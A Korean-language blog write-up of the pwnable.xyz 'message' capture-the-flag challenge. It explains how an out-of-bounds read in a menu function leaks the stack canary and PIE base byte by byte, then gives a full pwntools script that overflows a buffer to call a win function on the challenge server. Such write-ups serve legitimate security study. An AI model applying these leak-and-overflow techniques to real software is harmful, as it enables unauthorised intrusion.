WAR GAME/pwnable.xyz

[pwnable.xyz] message 풀이 (OOB, pie leak, canary leak)

jir4vvit 2021. 6. 4. 13:00
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

 

 

Analysis

Check Mitigation

 보호 기법이 전부 다 걸려있다. 엄청 간단하거나, 카나리 릭이나 파이릭을 해야하는 그런 문제일 수도 있다.

Execution

처음에 이 문제보고 FSB 문제일려나? 싶었는데 아니었다.ㅎ

Code

노란색

admin은 전역변수이다. 

admin 위치에 뭔갈 넣고 저 메뉴를 선택하면 win함수(flag 출력)이 호출이 될 것이다.

 

빨간색

scanf에서 bof가 터지고 2번 메뉴에서 나의 인풋을 출력해준다.

그래서 여기서 카나리 릭도하고 파이 릭도하고,, RET를 덮자~ 라고 생각했다.

하지만 문자열을 입력받을때 마지막에 NULL도 같이 붙어버린다. OMG

그래서 다른 방법을 찾아야 했다.

 

주황색

get_choice 함수를 분석해보자.

스포를 하자면 여기서 카나리와 파이 주소를 다 릭할 수 있다.

rbp-0x13에 getchar()한 값이 들어가는데, byte ptr ~ 로 한 바이트만 eax에 넣는다.

그리고 sub 명령을 한다.

문자를 ㄹㅇ 숫자로 바꾸는 느낌이랄까..?

아무튼 빼면은 0x2가 된다.

그리고 위의 행위를 한다.

[rbp+rax-0x12] ??

최종적으로 이 값이 리턴되게 되는 값이다.

 

이걸 이용해서 카나리와 파이 주소를 릭할 수 있다.

 

 

잘못 입력하면 254..? 란 값이 나온다. F의 아스키 코드 값도 아니다..

이 값은 get_choice에서 0x30을 빼내면서 생긴 값이다.

 

우린 get_choice 함수에서 저 카나리 값과 파이 주소를 한 바이트씩 릭할 수 있다.

먼저 카나리..

0xb + 0x30 = 59 ( ; )

;를 입력하면, get_choice 함수 안에 들어가서, -0x30이 되게 될 것이다.

그럼 0xb가 될 것이고,

$rbp+0xb-0x12 을 수행하게 될 것이다.

0x83이 eax에 들어가게 되겠지? 그리고 이게 반환값이 된다.

 

그럼 이렇게 131이란 값은 유효하지 않다며 Error가 뜬다. (다행히 종료 안되고 다시 메뉴 불러와서 선택할 수 있다.)

 

131은 hex값으로 0x83이고, 얘는 카나리 값의 두번째 바이트이다.

 

우리는 이런식으로 카나리를 한바이트씩 릭을 할 수 있고,

마찬가지로 pie 주소도 릭을 할 수 있다.

canary를 릭할 때는 ; < = > ? @ A 이런 문자를 넣어서 한 바이트씩 릭할 수 있고,

pie  주소는 J K L M N O 를 넣어서 한 바이트씩 릭을 할 수 있다.

 

 

그리고 canary와 pie 주소를 릭했다면

payload = 'A'더미 + canary + SFP + win주소

이런식으로 payload를 구성해서  message를 입력할때 (scanf) RET를 덮을 수 있다.

 

Exploit Scenario

  1. 한 바이트씩 canary leak
  2. 한 바이트씩 pie leak
  3. BOF

Get Flag!

from pwn import *

#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30017)
e = ELF('./challenge')


p.sendlineafter('Message: ', 'A')


canary_leak_list = [';', '<', '=', '>', '?', '@', 'A']
canary = '\x00'

for i in canary_leak_list:
    p.sendlineafter('> ', i)
    canary += chr(int(p.recvline().split(' ')[1]))

#canary += '\x00'
log.info('canary = ' +canary.encode('Hex'))

pause()

pie_leak_list = ['J', 'K', 'L', 'M', 'N', 'O']
pie_leak = '0x'

for i in pie_leak_list[::-1]:
    p.sendlineafter('> ', i)
    tmp = int(p.recvline().split(' ')[1], 10)
    pie_leak += hex(tmp)[2:]

log.info('pie_leak = ' + pie_leak)

pie_leak = int(pie_leak, 16)
pie_base = pie_leak - 0xb30
log.info('pie_base = ' + hex(pie_base))

win = pie_base + 0xaac
payload = ''
payload += 'A' * (0x30-0x8)
payload += canary
payload += 'B' * 8
payload += p64(win)

p.sendlineafter('> ', '1')
pause()
p.sendlineafter('Message: ', payload)

p.sendlineafter('> ', '0')
#pause()

p.interactive()

카나리 거꾸로 출력되는 것처럼 보이지만, 실제로는 잘 들어간다.